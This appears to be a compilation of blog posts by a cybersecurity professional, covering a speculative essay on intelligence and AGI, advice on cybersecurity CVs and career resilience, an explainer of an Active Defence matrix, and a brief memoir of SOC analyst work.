2. Skeptical Optimists: Cautious enthusiasts that recognize the power of AI but understand it's not a magic pill, they anticipate a future in which AI agents will augment human capability but won't replace it. AI agents are nothing but a tool that extends and scales human agency but doesn't replace it. They don't think current or mid-term AI is a miniature or proto-version of AGI.

3. Bystanders: People who are looking at it from the sidelines, paralized to inaction by confusion. They don't understand the power or potential of AI which appears to be an opaque black box. They too think that AI is some form of proto-AGI and that it's here to take over millions of human jobs.

4. Critical Pessimists: View AI with significant apprehension, focusing on potential negative consequences and existential risks, advocating for strict control or slowdowns.

It's important to note that these levels, except for bystanders, are not a representative of how much someone truly understands about AI at various levels of technical depth.

You can have unicorn data scientists in the Critical Pessimist category and people completely ignorant of even the faintest AI capabilities in the Über Optimist category. Though the latter is more likely than the former.

(By the way, I would classify myself as a Skeptical Optimist, and in these post series I will explain why AI is far from automating solutions to most of our wicked or complex problems.)

OK but, what do these people talk about when they talk about Artificial Intelligence?

What is that thing we call intelligence in the first place?

Intelligence Friction and Flow

We are surrounded by primordial forces: electromagnetic, gravitational, and strong nuclear, each shaping the fabric of reality. I see intelligence as one more type of primordial force, just as electromagnetic or gravitational forces are.

But what is intelligence?

We won't try to universally define it but rather offer a practical definition that captures its meaning in simple terms.

Intelligence is a dispositional, emergent and generative capacity for agency within the context of a world (environment, milieu).

Intelligence goes beyond pure mental cognition like reasoning or calculation. It encompasses the capacity to sense, perceive, affect, and act in ways that allow for adaptation and the resolution of problematic situations. Intelligence is not solely located within the individual. It is fundamentally relational and emerges from the interaction between the individual and its associated environment.

Sounds like a good enough definition right? But there is an extraordinary missing piece: the impending presence of death, the possibility of destruction, time, constraints, evolution. Intelligent behaviour observed in organic entities is driven by an inherent imperative for self-preservation. For intelligent beings, nothing is "free", chaos and decay lurk around the corner.

We can do better. Intelligence is about having skin in the game, having something to lose, and limited resources.

Intelligence is a dispositional, emergent, and generative capacity for agency in an environment, underpinned by evolutionary pressures favoring self-preservation and adaptation.

Intelligent behaviour faces perils, there is risk and tradeoff associated with every decision resulting from actively engaging with a world (environment, milieu). Intelligent behaviour is about actively resolving tensions and imbalances within itself and its environment by sensing, responding and adapting to it.

That's why we normally add the "A" next to the "I" in AI: because it doesn't really have skin in the game. It's not aware of it's finitude. It doesn't need to contemplate the possibility of extinction. It's not yet concerned with its own self-preservation.

At least not directly.

Because organic and artificial intelligence are becoming increasingly co-dependent. The evolution paths of either are now intertwined and operate synergistically. In as much as we train AI models, these models are training us. They modify the ways we work, they re-shape society, influence investments, direct and claim ever increasing portions of total electrical power. Slowly but surely, AI is becoming a new interface through which humans relate to, interact and perceive the world.

However, technological systems, much like natural phenomena, don't develop in isolation. They tend to find resistance from the environment and are forced to enter into different tradeoff routines to create stable or metastable balances.

Artificial Intelligence, a tool of organic intelligence, does not develop in isolation either.

Think of phenomena like electricity, a type of electromagnetic energy. Ohm's Law says that an electrical current (i) will always find resistance (r) but will be able to overcome that friction more or less easily depending on the potential energy available to it (v or voltage).

There are two key limitations of practical AI application that current über optimist narratives want to sweep under the rug:

1. The Frame Problem (environment interpretability)

2. Cognitive Potential Problem (scalability + embedding depth)

These are not problems because they indicate absolute limits of AI capability (in the long term, they will be issues of the past) but because they indicate friction thresholds.

We can think of the Frame problem as the r factor, it represents the limitations imposed to AI from the combinatorial explosion of discrete possibilities encoded in any type of environment. For intelligence (i) to flow, it must overcome this resistance. This gives us the following relationship:

There yet is another aspect to the Frame problem that not many people take into consideration. At its core, it represents AI's limitations to successfully interpret relevance in the world, but it simultaneously represents human limitation to encode the depth of the physical world in a manner that makes that data available to AI models.

There are vast oceans of data floating in the internet, but not everything has been encoded in discrete data packets to train AI. Because the internet is not actively sensing the physical world.

Despite decades of development and immense investment, the internet, humanity's grandest technological achievement, remains fundamentally limited in its ability to provide novel insights about the physical world. It processes and reflects existing information but cannot independently discover new phenomena like approaching asteroids, deep-sea species, or changes in Earth's magnetic fields.

Its nature is introspective, showing us only what we put in.

What we desperately need are more extrospective technologies — windows into the unknown. (Christopher Butler, The Internet Can’t Discover: A Case for New Technologies)

Continuing with our analogy, if the Frame problem is the r factor, Cognitive Potential is the v factor, it represents AI's computing power (both for training and inference) accumulated over time, which depends on how well it scales and the distribution gradient of how deep it's embedded in the material and digital worlds (embedding depth).

From this perspective, we can see that the "flow" of intelligence (i) is constrained and enabled by these factors in the following ways:

Increasing r (Frame Problem): A higher r means AI faces a more complex, less predictable, and harder-to-interpret environment. This makes the flow of intelligence more difficult. AI must expend more resources and develop more sophisticated strategies to:

• Identify relevant information.

• Discard irrelevant information.

• Generalize effectively across different situations.

• Adapt to novel (singular) circumstances.

In essence, a high r increases the burden on an AI system to make sense of its world, hindering its capacity for agency.

Increasing v (Cognitive Potential): A higher v signifies greater computational resources, scalability, and embodied embeddability (distribution of AI computing and inference across multiple layers of the physical and digital world, connected to extrospective interfaces). This facilitates the flow of intelligence by enabling the AI to:

• Process larger amounts of information.

• Explore a wider range of potential actions.

• Learn more complex models of the world.

• Operate in more diverse and demanding environments.

A high v effectively empowers AI to overcome the limitations imposed by r, making it easier to act effectively and adaptively.

Intelligence, whether artificial or biological, navigates a landscape shaped by these competing factors. The ability of an agent to exhibit intelligent behavior is determined by the relationship between the resistance it faces (r) from the context surrounding it, and the resources it has available to overcome that resistance (v).

So why not AGI yet?

I wager that the reason for AGI not happening yet is more nuanced than simply a lack of computing power, as ai-2027 seems to suggest. Current AI systems haven't reached AGI because of the challenges in simultaneously minimizing r and maximizing v to a sufficient degree.

It is not simply about concentrated computing power, it's about how deep AI is attached, embedded, distributed and woven into the fabric of everyday human world.

The Internet of Things (IoT) has not yet evolved to the Internet of AI Things (IoAIT). We have shallow and not yet deep AI.

But why does the degree of distributed embeddability, scalability and interpretability (of the world, the milieu, the frame) matters to AGI?

Because of Local Maxima.

Local what?

Sorry dear reader, if I had made this any longer, you would bail without a doubt.

In Part 2, we will explore the first of the two unfolding thresholds of AI. I’m talking of course about the Frame Problem, and yes, local maxima will make sense there.

My fellow cyberscouts: stay tunned, stay fresh, stay antimemetic.

To summarize, this is the journey of the post:

• So your CV uh?

• Strategy 1. Crafting a Standout Cybersecurity CV à la Imperfect

  • First Impressions

  • Skill & Proficiency

  • Positioning Yourself: The Long Game

  • Presenting Information

  • Impact != Outcomes != Output

  • CV Operational Security & Privacy

  • Sprinkle some Magic

• Strategy 2. Resilience Tactics.

  • Resilience Tactic 1: Anticipate. Scouting in a Shifting Landscape

  • Resilience Tactic 2: Withstand. Tuning into Your Own Signal Amidst the Noise

  • Resilience Tactic 3: Recover. Recalibrating in the Quiet Spaces

  • Resilience Tactic 4: Adapt. Strategy as a Living Conversation

• So now what?

So your CV uh?

Throughout my career, I've never walked out of an interview feeling I smashed it.

Interviewing is hard, it’s a vulnerable experience, exposing yourself to evaluating criteria that are never fully knowable, impostor syndrome is around the corner and you are constantly second-guessing your hard earned skills.

Hey, we've all been there and probably will be many times throughout our careers. But you can learn a few tactics and techniques to navigate these moments more easily.

One powerful approach is reducing the distance between your professional persona (like your CV) and who you genuinely are. This will foster authenticity and confidence.

Another powerful approach is building practical resilience techniques to help you bounce back from setbacks and stay grounded: Anticipate, Withstand, Recover and Adapt.

We'll explore both approaches in this post.

When we dive into the CV specifics, we'll focus on making it a true reflection of you without compromising on sending a powerful message. We have to forget about generic lists. We'll cover how to pinpoint and articulate your genuine accomplishments, quantify your impact authentically, and convey the real value of your skill sets. The goal of a CV that is not to list skills, but to tell your unique professional story.

In essense: we need to craft a hella good CV that tells your story right. However, it’s not all about just optimizing a CV.

There is a dimension of being in how you perceive and present yourself at work. It's all about resonance: who you are, who you aspire to be, the gadgets and tricks you pick up along the way, the artifacts you build to map the world around you and solve real problems.

True resonance occurs when your personal values and professional aspirations are in alignment. It's a harmonic convergence that creates a powerful connection. When your frequencies align, your message is not just heard, but deeply felt. Have you ever thought about the message you are projecting?

For many of us, pursuing the alignment of personal values and professional aspirations is an exciting adventure. A journey of wisdom and insight.

Now the obligatory disclaimer.

These are my personal opinions and mine only, they don’t reflect those of my employer. I am by no means an expert in all things related to a CV or how to "ace" your job interviews and this shouldn’t be taken as super-duper professional advice.

I will simply offer my humble and imperfect advice from the POV of someone who has seen 100s of CVs + interviewed + hired lots of people along the years in different continents, and someone who has been there and done that as a job seeker too.

Strategy 1. Crafting a Standout Cybersecurity CV à la Imperfect

Do you know what CV stands for? Curriculum Vitae. Supposedly the “Course of Life”. If it were a movie, it would be very, very, very long!

In reality, if the course of your life is like a nine part StarWars saga, your CV is nothing more than the official trailer. It’s a pitch, for the purposes of convincing prospective investors (employers) that it’s worth hearing what you have to say.

So, what you'll find here isn't a step-by-step recipe guaranteeing the ultimate CV. Think of it more as a collection of artifacts, navigational aids perhaps, gathered from my own winding path through this landscape. You may find a rusty compass that needs tuning, I can’t fix it for you, that’s your job.

My experience, like anyone's, is a unique journey, not a universal blueprint.

It's crucial you discern for yourself what resonates, what feels authentic and useful. Approach these ideas not as rigid directives, but as potential tools, perhaps even odd-shaped keys you might try in the locks you encounter.

First Impressions

Key Idea: Work on your introductory section, a single high-impact paragraph, an elevator pitch. In today's distraction economy, people's brain-cache is full to the brim by Instagram posts, TikTok videos, Twitter/BlueSky/Mastodon short posts, and every other kind of super-duper-urgent-FOMO-key-information platforms offer out there. If you want to stand out, you need a way to encapsulate your profile in a paragraph or two.

• Do:

  • Start your CV with a paragraph or two summarizing your profile and experience.

  • Focus on your unique value proposition. What makes you stand out from other candidates?

  • Show personality, but keep it professional. Let your passion and enthusiasm shine through.

• Avoid:

  • Using LLM to write your whole story. At least not without heavily reviewing, tweaking, editing to make sure it reflects you. You definitively don't want to sound so polished that any aspect of what makes you "you" has been sanitised.

  • Putting your cover letter as the first page of your CV.

  • Jumping straight into your first job with no context or introduction.

Skill & Proficiency

Key Idea: Nowadays the word "senior", "manager" or "expert" can mean anything depending on the context. I see people that are seniors after 6 months of experience, and experts in DevOps that don't know what Terraform or Ansible are. Come up with your own scale to break down skill and proficiency.

• Do:

  • Come up with your own scale to break down skill and proficiency. Example Aware, Exposure, Proficient, Advanced. You can use existing models too like the Dreyfus Model of Skill Acquisition. Whatever it is, make sure that it’s a relative way of scoring your skills in particular domains.

  • Focus on three core skills, and then other skills that are one or two degrees of separation from your core skills and subservient to them. Think streams feeding a river.

  • Non-technical skills are super important. Beyond the technical artifacts and exploits, consider the connective tissue, the human protocols. Your mastery needs conduits to the wider ecosystem. Can you act as an interpreter across tribal boundaries, making the technical legible to those outside our specific domain? Can you shape understanding through well-structured written accounts, turning raw data into actionable insight?

  • Reflect on moments where you subtly shifted the momentum, influencing key figures not through force, but through resonance and clarity. Have you shared your own hard-won wisdom through mentoring, or shouldered the responsibility of leadership, guiding others through the fog? Demonstrating this side of your practice is important, it shows you understand the whole system, not just the code.

• Avoid:

  • Portraying yourself as an absolute senior in everything. Nobody is. If you only list your best skills and you rate yourself the highest in all of them it may come across as fake. Seek a genuine representation of yourself, including skills that you are somehow proficient, it shows you are expanding and developing in other areas.

Positioning Yourself: The Long Game

Key Idea: One thing is for your CV to make it through, another thing is to get noticed, and another one is to stand out.

I remember a post I read somewhere where someone compared getting an interview with penetration testing or social engineering. It was hilarious, it rang true and it was a really cool analogy. I can't remember who said it (and if you find that post please reach out so I can provide attribution!) but it went something like this:

• Perform reconnaissance, gathering information about the company culture and the specific role, while simultaneously ensuring your credentials are tailored to it.

• Your CV is your payload. You want to deliver your payload by employing the right keywords that will get you past the automation bot or the human firewall.

• Once your payload has landed, you need to employ gentle "nudges" to get someone to read it (i.e. execute it by loading at least your Name and Last Name in their running memory). Reach out to the recruiter, send an email to a contact address, call the person that acted as your referral. In essence: engage, don't sit there waiting.

What this analogy is telling us is that you need to play a strategic positional game. It's a long game. Starting now would be a good idea ☘️.

It's about positioning yourself, your assets (skills, experience, proficiencies, tradecraft) and your allies (network) in a way that will help you achieve your long term goals.

However, there is a catch: pursue all these things with genuine commitment to becoming your sincere and best self. Cultivate a meaningful profile oriented towards relevance and self-awareness. Otherwise it will feel like wearing a suit that is two sizes up or down, or wearing clothes you hate: you will feel uncomfortable, it won't generate resonance.

It's really easy to tell when a profile is simply a SEO-optimized, shallow applied recipe of "best practice" rules for "success".

• Do:

  • Be imperfect, be genuine, stay committed to purpose and relevance realization.

  • Play the long positional game, talk to people, go to events, network.

  • Build a strong online presence. Optimize your LinkedIn profile, put work into a portfolio (a single python script in a repo, a blog post that shows your opinions about a topic, a CTF challenge you solved, etc.), and contribute to relevant online communities.

  • Develop a personal brand that highlights your unique strengths and expertise. (This is your "signature exploit" - what makes you stand out?)

• Avoid:

  • Neglecting your network. Even casual acquaintances can provide valuable leads.

  • Engaging people with a purely instrumental approach. People can tell, your energy will give you away. You won't forge long lasting connections which are the long burning logs you need to survive when it rains.

  • Burning bridges. Maintain professional relationships, even with people you don't particularly like. Be stoic here, don't meander in low level emotions. It's hard, I know, but the less you ruminate on past feuds the more your mind is free to perceive new patterns that lead to better opportunities. Focus on forward momentum, not past conflicts.

  • Assuming that your work speaks for itself, make sure that it is seen in the right circles.

  • Putting effort into crafting a professional self that doesn't ring true.

Presenting Information

Remember, we live in a distraction economy. Every App and Ad out there is trying to capture not just your attention but that of your prospective employer. It is sad, but it is the reality of current times. I read this quote on the weekend that explains it all:

In these post-modern times, f you want your CV to stand out, it has to be visually appealing, and have an easily digestible format. Think of it as presenting a well-organized incident report – clear, concise, and impactful.

Think of your first page in the CV as your landing page. How do you want that to look like? The first page should summarize YOU.

I tend to imagine dashboards. Some Managers will love that, some won't. It's up to you to do some research and come up with a style that caters for multiple audiences or that is heavily tailored to a specific scenario.

Personally, I prefer coming up with a unified style that caters for most audiences but can be slightly tweaked if necessary.

• Do:

  • Prioritize Readability. Use clear, consistent formatting with ample white space. Employ bullet points, headings, and subheadings to break up text.

  • Don't be boring. Provide visuals, graphs, etc. to portrait things like skills and achievements.

  • Highlight Relevant Certifications and Training: Prominently display your certifications and any specialized training you've completed.

  • Leverage Icons and Emojis: Use relevant icons or emojis to draw attention to specific sections or skills, like a shield for security or a lock for encryption.

• Avoid:

  • A wall of text. Dense paragraphs are difficult to read and can overwhelm the recruiter or hiring manager.

  • Generic Language: Avoid vague terms like "team player" or "problem solver", these are commonplace cliches. Instead, go quirky, re-imagine the cliche. You could say bigger-picturist, exponential troubleshooter or anomaly detective instead of "problem solver". If you are not comfortable with this or it feels untrue, way off brand, then provide concrete examples that demonstrate the concept.

  • Using too much “very” everywhere. Yeah I am guilty of that! You know what rocks? This website: www.losethevery.com

  • Minimal separation between lines, this hinders readability.

  • Inconsistent Formatting: Inconsistencies in font, spacing, or style can make your CV look unprofessional.

  • Using too many colours: Keep the colour palette harmonious. You can use sites like coolors.co to generate nice colour palettes!

Impact != Outcomes != Output

Key Idea: People confuse Outputs with Outcomes and these ones with Impact.

An output is something you produce as a result of an action or units of work like a pentest report, a new detection rule, a threat actor profile report, etc.

An outcome is a measurable improvement as a result of your actions and outputs. A specific result that achieves something meaningful for stakeholders, it is immediate and tangible, it answers the question "so what?". Think about the "KR" (Key Result) in OKR. E.g. your pentest report might help inform key stakeholders of critical business vulnerabilities, your new detection rule increases the coverage for the early identification of a threat actor technique of key importance to the business, your threat actor profile report provides key insight into priority areas for red teaming, threat hunting, driving effort towards high priority threats.

Impact is going one level up from outcomes and looking at the bigger picture, it's about answering the question "what strategic goal are you contributing towards?". Think about the "O" (Objective) in OKR.

In a CV, you may not need to refer much to impact, but definitively focus on showing "outcomes", because those communicate your value add.

• Do:

  • Think STAR (situation, task, action, result). For each current and past job experiences, add a short paragraph around outcomes, not just a list of tasks you performed.

  • Quantify Outcomes and Impact Whenever Possible: Use numbers, percentages, and specific metrics to demonstrate the value of your work. For example, "Reduced critical vulnerabilities by 30%, minimizing potential financial losses."

  • Show the "Ripple Effect": Whenever possible, describe how your actions positively influenced stakeholders and/or helped solved other secondary problems. This shows you are a person capable of high-ROI. Your outcomes don't need to be spectacular or intricate, they simply need to express positive influence on results.

  • Use Action Verbs That Highlight Impact: Use verbs like "reduced," "improved," "enabled," "protected," "enhanced," and "strengthened" to emphasize the positive effects of your work. Yeah these are boring verbs, but they seem to stick in the business world of cyber, and Managers -like yours truly- are programmed to pay attention to these.

• Avoid:

  • A Shopping List of Tasks: Don't simply list the tasks you performed. Focus on the results and their significance. You can do tasks and activities, but connect them to the bigger picture.

  • Ignoring the "So What?" Question: If you can't answer "so what?" about your work, it's likely the hiring manager won't either. Without the "so what?" it's just an output, and not an outcome or impact.

  • Overusing Jargon without Context: While industry terminology is important, explain the context and impact of your work in a way that non-technical stakeholders can understand.

CV Operational Security & Privacy

Key Idea: Your CVs will be exposed to a high quantity of people over the course of your professional career. There are details that are relevant to your professional profile and other details that aren't.

• Do:

  • Provide relevant information about your profile in the industry, your experience, influence and impact.

• Avoid:

  • Exposing your references or contacts unnecessarily, their private contact details shouldn't be broadcasted to the world. Instead, state they can be provided upon request.

Sprinkle some Magic

Key Idea: This is absolutely optional. Some companies will love it, some will hate it. Do your research, understand what kind of company you are applying to and then make a decision about how quirky your CV should be.

• Consider:

  • Add a top 5 of the books you most enjoy, this will give your employer a sense of your level of engagement with the field. It doesn't matter "what your read" as long as it's a window into your intellectual interests, the things you are passionate to understand deeper.

  • What's your most treasured hobby and why?

  • What podcast do you love?

  • What are the tabs you always have opened on your web browser?

Strategy 2. Resilience Tactics.

Even with the most impressive CV, the most awesome skills and certs and the most polished writing, you will fail, many times.

Don't let this discourage you, nothing of true value comes easy. The payoff you will get once you land a job will greatly outweigh any strenuous effort made in service of that goal.

In Developing Cyber-Resilient Systems - NIST 800-160v2 there are several strategies that mimic from the organic world into the machine world, and can be exapted and re-applied to your life. These are: Anticipate, Withstand, Recover and Adapt. I will attempt to shed some light into how I think of these in the professional world.

✨Warning, what follows is not for everyone. It's a sneak peak into some of my implicit sense-making algorithms. Challenging to put in words. There is some oblique artistry involved, rich in metaphors and philosophical gardening. And, there is some antimemetics involved.

Resilience Tactic 1: Anticipate. Scouting in a Shifting Landscape

Right then. Have you ever felt lost? I have. It's part of the journey. Embarking on a job hunt feels less like charting a known course and more like stepping into a fog where the landmarks occasionally rearrange themselves.

To Anticipate here isn’t about pretending you have perfect foresight (best to leave this to overly confident strategists). It’s about acknowledging the ambiguity and uncertainty of your journey while still doing your groundwork.

When lost, stick to the fundamentals, play the long positional game, the goal will come ⚽. Figure out what skills are actually in demand versus buzzword bingo, and know what you bring to the table.

Do the recon, yes – get a feel for the prevailing currents in your field, decipher the coded language of job descriptions (what are they really asking for?), and ready your personal grimoire (resume, GitHub projects, profile, conversational gambits). These will become your deck of many things.

However, hold these cards loosely. Imagine contingencies not merely as backups, but as potential openings to adjacent possibles you hadn't considered, yet.

Most importantly: cultivate your inner stance. Soak up the teachings of the stoics. Expect friction, rejection – the system's background radiation. See it not as a judgment, but as noisy data from a complex, often unpredictable machine sustained by a set of practices you won't always comprehend.

It’s about cultivating readiness for emergence, not just optimizing for the most probable dice rolls.

We live in a world of over-optimizing gurus that want to sell you a straight line between point A and point B. In real life, nothing is so linear.

Non-linearity, obliquity, zig-zags, one step back and two steps forward: these are the pivoting techniques you need to integrate into your deck of many things.

Optimization for an outcome too early may put you in over-fitting scenarios, collapsing the possibility space, unable to grok the wider possibilities out there. But most of all, if you follow the bible of each and every optimizer out there, you will curtail the unfolding of who you are, undermining the precious mana of internal motivation! As Brian Klass puts it in a great essay:

Resilience Tactic 2: Withstand. Tuning into Your Own Signal Amidst the Noise

My fellow cyberscout, let me tell you this, you will find yourself entangled in the inevitable muddle: the silence, the polite dismissals, the impostor syndrome, the gaslighting, the lack of a voice echoing back at you.

At times, you will feel disconnected from the feedback loop that helps you stay on track. And you will get scarred. This is the desert of white noise, where you can't tell right from left, up from down.

There is not much you can do here other than resorting to your learned fundamentals. There is an i-ching theme that appears in a few hexagrams:

Yeah I know, I'm flexing knowledge in "i-ching" which I don't really possess, and I sincerely apologise for the Chinese translation since I don't actually speak/write the language. But you get the point: perseverance pays off.

To persevere is to take the hit, to withstand it yes, but to allow that which temporarily harms you (a rejection letter, dismissive recruiters, ghosting, impostor syndrome, etc.) to teach you something about yourself and the environment around you. You don't want to remain immutable and unchanged. Seek a relationship with your context that re-connects you with that tight feedback loop you need to get past the obstacles.

To Withstand it's to maintain your own coherence, your autopoiesis, amidst the chatter and indifference. Keep your core rhythms going – the searching, the applying, the connecting – like tending a small, persistent fire. Never stop searching for kindling. Keep the fire going even if at times it looks like a pile of embers. Remember that embers are the seed of new fire.

When the inevitable “no” arrives (often cloaked in euphemism or simply absent), acknowledge the blip, the momentary dissonance (perhaps offer a silent, friendly scoff at the absurdity of it all?), but don't let it corrupt your core operating system. Observe these moments less as “failures” and more as the landscape revealing its contours, its preferences, its sometimes arbitrary gates. And those tactics yielding nothing? Gently set them aside, not as “failures”, but as paths that turned out to be loops or dead ends for now.

Stay operational, seek the aliveness of things, yes, but more importantly, stay attuned to your own energy and the subtle shifts in the field.

Learn, let the scar be your teacher.

Resilience Tactic 3: Recover. Recalibrating in the Quiet Spaces

Sometimes the signal degrades significantly; the noise becomes overwhelming. Simply withstanding isn't the move anymore. You need to Recover. This isn't surrender by the way. It's savvy navigation. Retreating momentarily from the arena to recalibrate.

A strategic pause, consciously taken, allows for integration and sense-making that's impossible when you're just reacting. When you re-engage, do it incrementally, feeling your way back into the flow, testing the currents.

Seek shelter my friend. This is the time to head over to your sacred grooves and sanctuaries. The time to talk to your elders, seek the wisdom of the ones who've been there before you. Connect to your friends. Talk, have fun. It's fine to ask for help. Heck it is more than fine, it is fundamental for thriving in the jungle.

Tend to your circles of conviviality. This is what being part of a clan and a tribe is. When you tend to the shared fire, you build resilience against the storms.

Around the fire, we tell stories. Allow yourself to revisit past chapters of your story not as proof points, but as reminders of your inherent capacity to navigate uncertainty. Seek dialogue (feedback) not just for data, but for reflection. Practice listening deeply to yourself and the environment.

When the territory is dynamic, presence becomes as important as vigilance.

How present are you?

Resilience Tactic 4: Adapt. Strategy as a Living Conversation

Trying the same failed exploit code over and over gets you what? You guessed it, the same results. This is where we Adapt. It’s the heart of navigating complexity, where strategy becomes less a fixed plan and more a living conversation with reality.

The Cynefin Framework reminds us that when in the complex domain, the best way to navigate is to probe-sense-respond. Adaptive response in deep connection to our environment.

Treat every interaction, every response (or lack thereof), as a subtle whisper or a loud clue from the system you're interacting with. In the context of threat intelligence, I always say that your environment emits and radiates valuable data that you could turn into intel. The information is there, your weaknesses, your attack surface, your risk profile, your priorities, the question is, are you listening? Are you turning that data into intel?

Use this unfurling of information to refine your approach – tweak the resume's narrative, adjust your conversational posture, explore different ways of showing up.

Cultivate a richer, more multifaceted presence. And if the path feels consistently blocked or just… wrong? Pivot. Gracefully. Explore adjacent territories. Look into the less obvious spaces where interesting things might be brewing. That message somebody left in your mailbox and you never replied to, that invitation to a gathering you never imagined yourself attending to, that colleague that is connected to wizards in the field, that sorceress that has some inexplicable magic surrounding her.

This isn't just about staying dynamic, it's about becoming an active participant in the generative dance, finding the rhythms, embracing the uncertainty of your situation not as a problem to be solved, but as the very medium through which new possibilities arise.

So now what?

I admit it, some of the things I shared here won't resonate with a lot of you out there. And that's fine. Because I accept my uniqueness. I play in the in-between of memetics and antimemetics. I don't parse well in some settings. RegEx for these words would turn into a recursive loop. And again, that's fine. Not everyone should grok this content. But there are gems to be found my fellow cyber scout, there are beautiful, deep coloured gems.

The more you accept the struggle and come up with creative ways to overcome obstacles, the more you accept that uncertainty and ambiguity are fundamental primitives of the journey, the more you will learn, course-correct, re-shape the neural pathways of your sense-making tradecraft in the world.

This will result in a more meaningful orientation and attunement with the experiences that bring joy to your life. And the more joyful you are, the more opportunities you will find.

As you all know, I've been talking about Active Defence for quite a while, working hard to make sense of the problem space and bring some order to the concepts that haunt this thing we call "threat intel-led cyber defence" or "proactive cyber defence".

But what is Active Defence Operations after all?

The Active Cyber Defence Matrix

Active Defence Operations represents a fundamental paradigm shift in security, moving away from reactive approaches that inadvertently concede the initiative and tempo of engagement to adversaries.

Traditional security often lacks the dimension of engagement; Active Defence, in contrast, is rooted in the understanding that engagement with cyber threats is inevitable, and strategic advantage is gained through positional defence.

Operating within the adversarial engagement space, Active Defence encompasses two primary modes of engagement: discovery, focused on learning, observing, and detecting threats to gain insight; and disruption, centred on interception, containment, and eviction to neutralise threats. These two modes of engagement intersect with two other primitives that refer to the space, domain, or territory of engagement: external and internal.

The external territory designates everything outside your network perimeter, this includes not only the famous “threat landscape” or what is happening “out there” but also your business’s digital footprint that sits outside your direct network control (think user applications, ads, supply chain, vendor services, etc.). The internal territory designates all the digital systems inside your network. We could also add physical security considerations, but I will leave that for another time.

This approach shifts the security posture from simply reacting to actively positioning your assets and operations for predictively engaging threats.

Active Defence is more than what the industry currently thinks it is about, namely, cyber deception. Deception is but one of many strategies to enact active defence in cyber operations.

What I described above gives us the following matrix:

Constraining the Engagement Space: Active Defense and the "Unknowns" Challenge

Active Defense Operations, by emphasizing proactive engagement, directly addresses the challenge of “unknowns” by shifting from a purely reactive to a threat-led posture. As you know, I don’t like the term “unknown unknowns”, simply because it’s an empty concept. As Nassim Taleb puts it, one cannot systematize, formalize, and program randomness. People talk about “unknown unknowns” when, in reality, they are thinking and referring to “known unknowns” or “unknown knowns”, which are less insurmountable and void-like ideas.

It’s better to simply talk in terms of “unknowns”, that’s it, single word. Because the truth is we are referring to uncertainty. We want to understand the likelihood of something and the impact it may carry. True “unknown unknowns” have an entropy of 1 (or say 100%), absolute randomness. What this implies is that in the face of absolute random events, you have very little power to influence the outcomes.

But security is about influencing outcomes.

While absolute randomness remains unquantifiable, active discovery within both internal and external engagement spaces does reduce the scope of uncertainty.

Active discovery is about intentionally delving into the noise, generating purposeful disruption.

This is precisely what we want to enact by engaging penetration testers and red teamers. They don't passively wait for vulnerabilities to be revealed; they actively probe APIs, networks, and systems, intentionally creating "noise" (e.g., sending malformed requests, attempting exploits) to observe the responses. This "purposeful disruption" allows them to map the attack surface, identify weaknesses, and reduce the initial high entropy by transforming unknowns into known vulnerabilities. Each successful probe, each identified misconfiguration, shifts the odds, making their subsequent actions more targeted and effective, ultimately increasing the likelihood of a successful breach or data exfiltration.

By actively mapping and understanding your external digital footprint and threat landscape, as well as your internal network, organizations constrain the engagement space, mitigating uncertainty and enabling more effective threat modeling.

This proactive approach, focused on both learning and disruption, builds resilience by anticipating and neutralizing threats before they manifest as catastrophic "unknowns", ultimately fostering a security posture that prioritizes continuous adaptation and operational continuity.

The Learn-Act Cycle and Why Reactive Models Fail.

There are two main actions in cyber defence: you either learn or you act.

Think OODA.

Effective cyber defense hinges on the strategic integration of learning and action. Traditional security paradigms, limited to reactive mitigation, operate within a singular action-oriented quadrant (upper left in our matrix).

This approach inherently precludes the critical acquisition and operationalisation of intelligence, resulting in a static and ultimately vulnerable posture.

Active Defense is a cyclical dynamic process: discovery, the intelligence, data and exposure gathering phase, and disruption, the active and reactive operational response. Discovery reduces uncertainty by actively probing and analyzing the threat landscape, while disruption either neutralizes identified threats (when you find yourself under a malicious cyber attack) or injects benign payloads via red/purple/pentest to make systems behave in non-intentional ways and reveal (discover) vulnerabilities.

By linking these phases, Active Defense operationalises continuous learning, enabling adaptive responses that outpace adversarial evolution. Reactive models, devoid of this feedback loop, remain fundamentally incapable of achieving sustained resilience.

Sustained Cyber Resilience

Resilient systems, as defined by NIST, transcend mere recovery; they embody the capacity to anticipate, withstand, adapt, and evolve. This aligns directly with the Active Defense paradigm, which emphasizes a continuous learn-act cycle guided by strategic positioning of assets and resources.

Here is the catch, though: you may be able to withstand and recover from an attack or two, but can you do it consistently?

Allow me the easy play of words: how resilient is your resilience?

Traditional reactive security models, with a high emphasis on the “Protect” and “Respond” NIST domains, inherently lack the adaptive capacity necessary for resilience.

Concepts like diversity, realignment, and unpredictability, as outlined in NIST SP 800-160, Volume 2, are operationalised within Active Defense through continuous monitoring, contextual awareness, and adaptive response. For instance, diversity reduces single points of failure, while realignment ensures security measures are aligned with evolving mission needs. Unpredictability, while seemingly random, can disrupt adversarial reconnaissance and attack planning. Unpredictability can be achieved by implementing strategic approaches like cyber deception.

Just as a biological system adapts to environmental pressures, a resilient cyber system, informed by active intelligence and operationalised through continuous learning and action, evolves to maintain essential functionality, even under persistent adversarial pressure.

So, how resilient are your cyber operations?

I was once a SOC Analyst

At the beginnings of my career in cybersecurity, I worked as a SOC analyst. This was an era when EDRs were not even a concept. Everything was just plain SIEM, raw logs, and vendors created most detection content. Detection Engineering was not even a thing.

I remember the days of the endless alerts queue, the countless false positives, the feeling of enthusiasm and the dizziness of overwhelming data streams.

I especially remember the many times I thought I had just found a surreptitious cyber attack. I would spend hours scavenging the internet for explanations to the data I was observing, correlating logs, talking to colleagues. Confirmation bias was tremendous. The deep excitement was palpable. The feeling that I had just found a reverse shell, a broad malware infection or hands-on-keyboard attacker activity.

I remember all the investigative work I did only to find out, with tenuous disappointment, that 95% of the time the source of observed malicious activity had a simple explanation: the client’s vulnerability scanner or a pentester.

Those were fun days. I looked at every sentence, word and character of a syslog entry or Windows Event Log with deep curiosity. I wanted to understand it all. My growth curve was off the charts.

But I also have very vivid memories of the toil, the grind, the neverending false positives. The feeling that I wasn’t contributing anything proactive to better protect the customers.

Security Analyst work can sometimes feel like being at the bottom of a cascade of alerts, trying to catch a speck of gold with your hands.

Turnover and burnout are high. Most of all at entry and mid-levels.

I’m sure many security analysts working at countless SOCs around the world can relate.

Over time though, I started to realise two things:

1. Alerts are information. Specifically, information about your systems.

2. Most security analysts out there will perform several investigative steps to triage and analyse an alert, usually involving OSINT and other forms of threat intelligence.

